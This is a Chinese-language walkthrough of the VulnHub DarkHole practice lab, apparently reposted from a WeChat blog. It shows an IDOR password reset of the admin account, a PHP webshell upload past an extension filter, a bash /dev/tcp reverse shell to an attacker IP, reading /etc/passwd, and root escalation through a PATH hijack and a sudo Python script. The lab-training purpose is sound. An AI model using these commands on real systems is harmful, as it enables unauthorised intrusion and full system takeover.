一、环境搭建
-
靶场下载地址:https://download.vulnhub.com/darkhole/DarkHole.zip
-
下载之后,使用 VM导入靶场环境
-
将靶场的网卡模式设置为桥接模式,启动就行
二、信息收集
端口扫描:
目录扫描:
配置信息:
三、漏洞利用
我们找到一个后台,尝试弱口令失败,然后我没还发现一个注册页面,注册了一个test
然后发现还是登录不进去,但是存在这个修改密码的页面,尝试修改密码,但是只是自己注册用户的密码,登录还是要老样子。然后发现有个id的参数可能存在越权,我们尝试一下改成1
退出后台重新登录发现登录成功,但是还是用自己注册的test注册的,还是一样没效果,然后尝试admin是不是管理员
四、getshell
猜对了,管理员是admin,修改成功123456,直接登录进来了,多了一个上传点
我们配置信息那里看到的是php的语言,那我们就是尝试上传一句话木马,发现除了jpg之类的其他的后缀都可以上传,这就很简单了,直接绕过
成功上传,成功getshell
五、反弹shell
nc -nvlp 3333 |
bash -c 'bash -i >& /dev/tcp/192.168.0.106/3333 0>&1' |
六、提权
我们查看一下敏感文件,可以看到是有两个用户的
cat /etc/passwd | grep /bin/bash |
我们查看一下这两个用户有没有东西,找到在john用户下有个password和user.txt,但是没权限
我们发现在john用户下有个toto的文件是和id一样的功能。都是查看用户权限的命令
我们需要创建名为id的文件,将bash文件的位置写入id当中,然后尝试使用export修改环境变量,优先加载tmp下的id文件,可以看到获取到了john用户的权限
cd /tmp touch id echo "/bin/bash" > id //在/tmp目录下创建一个文件id,内容是/bin/bash chmod 777 id //给id文件添加执行权限 export PATH=/tmp:$PATH //将/tmp目录添加到PATH环境变量中 cd /home/john ./toto |
所以总的效果是在/tmp下创建了一个名为id的bash执行文件,并将其添加到了PATH路径中。 这 Bring 了一定安全隐患,因为现在直接输入id命令,会执行/tmp下的id文件,也就相当于执行了一个bash shell。 这种通过修改PATH实现攻击的技术,我们称之为PATH变量攻击。攻击者通过控制某个目录或文件的名称,并修改PATH环境变量,使得该目录下的某文件在执行某些命令时被执行,达到攻击目的。 |
获取到了一个密码和flag
得到密码发现是john用户的密码,正好开启了22端口,我们可以尝试一下居然成功了
我们查找一下有sudo权限的命令,有个py文件
然后我们可以用john用户去执行root权限的python文件,那我们将获取shell的命令加入到python脚本中再去执行就可以获得root权限
echo 'import os;os.system("/bin/bash")' > file.py sudo python3 /home/john/file.py |
然后我们使用python3去执行这个python文件,成功提权,拿到flag
有一个月没跟新了,也是最近在忙别的事情,现在赶紧跟新一下
原文始发于微信公众号(半仙想变强):VULNHUB实战靶场:DarkHole
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论